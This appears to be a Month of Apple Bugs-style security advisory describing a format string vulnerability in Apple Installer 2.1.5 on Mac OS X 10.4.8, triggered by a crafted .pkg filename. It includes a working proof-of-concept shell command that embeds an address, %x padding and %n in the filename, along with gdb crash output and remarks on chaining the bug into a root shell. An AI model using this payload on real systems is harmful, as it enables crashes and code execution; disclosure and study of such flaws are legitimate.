BACK

CREDIT

POC or EXPLOIT

REFERENCES


Gimme more idiotic issues

Summary

Apple Installer is the application in charge of handling the installation of packages for Mac OS X, in form of pkg, distz and mpkg files.

Installer fails to properly handle package filename strings. It's a affected by a typical format string vulnerability, which can lead to a denial of service condition or arbitrary code execution.

Affected versions

This issue has been verified with Apple Installer Version 2.1.5 (94) on Mac OS X 10.4.8 (8L2127).

Proof of concept, exploit or instructions to reproduce

The following is the most simple way to demonstrate this issue:

$ touch AAAA`ruby -e 'require "cgi"; print CGI::escape("\x9c\xe7\xff\xbf") +
CGI::escape("%.20d") + CGI::escape("%x" * 20)'`%n.pkg
$ open AAAA%9C%E7%FF%BF%25.20d%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x
%25x%25x%25x%25x%25x%n.pkg
			

See the 'Exploitation conditions' section for more information on different vectors to trigger the issue.

Debugging information

The following debugging information shows Installer crashing when opening a file with a crafted filename:

Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_PROTECTION_FAILURE at address: 0x0000037f
0x9000c0c1 in __vfprintf ()

(gdb) x/x 0xbfffe79c
0xbfffe79c:     0x00ffffff

(gdb) back
#0  0x9000c0c1 in __vfprintf ()
#1  0x90100ea9 in snprintf_l ()
#2  0x908119d5 in _CFStringAppendFormatAndArgumentsAux ()
#3  0x9081091c in _CFStringCreateWithFormatAndArgumentsAux ()
#4  0x925daa5d in -[NSPlaceholderString initWithFormat:locale:arguments:] ()
#5  0x925fc670 in -[NSString initWithFormat:arguments:] ()
#6  0x9336056f in -[NSAlert buildAlertStyle:title:message:first:second:third:
                    oldStyle:args:] ()
#7  0x934ac77a in _NXDoLocalRunAlertPanel ()
#8  0x934ac4cc in NSRunAlertPanel ()
#9  0x00003acd in -[InstallerController openFile:withOptions:] ()
#10 0x9326ad98 in -[NSApplication _doOpenFile:ok:tryTemp:] ()
#11 0x93268305 in -[NSApplication finishLaunching] ()
#12 0x93267c29 in -[NSApplication run] ()
#13 0x9325bd2f in NSApplicationMain ()
#14 0x00002721 in main ()

(gdb) i r
eax            0x37f    895
ecx            0x0      0
edx            0x0      0
ebx            0x9000ad62       -1879003806
esp            0xbfffdc70       0xbfffdc70
ebp            0xbfffe3c8       0xbfffe3c8
esi            0xbffff3be       -1073744962
edi            0x25     37
eip            0x9000c0c1       0x9000c0c1 <__vfprintf+4976>
eflags         0x10282  66178
cs             0x17     23
ss             0x1f     31
ds             0x1f     31
es             0x1f     31
fs             0x0      0
gs             0x37     55
            

Notes

Exploitation conditions

This is another issue related with the now infamous NSRunAlertPanel() and related functions. Actually, there are dozens of issues like these in nearly every Mac OS X application. Right now, as explained in MOAB-16-01-2007 we can write NULL bytes to any desired location. Under certain circumstances this can be useful and thus arbitrary code execution can't be considered 'not possible' right away (specially when we can reach user input...). In fact, there may be some other methods that could help with exploitation of these issues without requiring use of the usual techniques for format string exploitation. This all thanks to Apple and CoreFoundation. Who else.

If that doesn't work, you can always use it to spawn a root shell with MOAB-22-01-2007 :-). Sure, you can use the notification API right away, but it's still nice to turn every 'crash' into a root shell...

Workaround or temporary solution

Wait for Apple to release a patch or the MoAB Fixes for an APU module.

"Two days of stupid 1990s-style bugs, just in case." -- anonymous.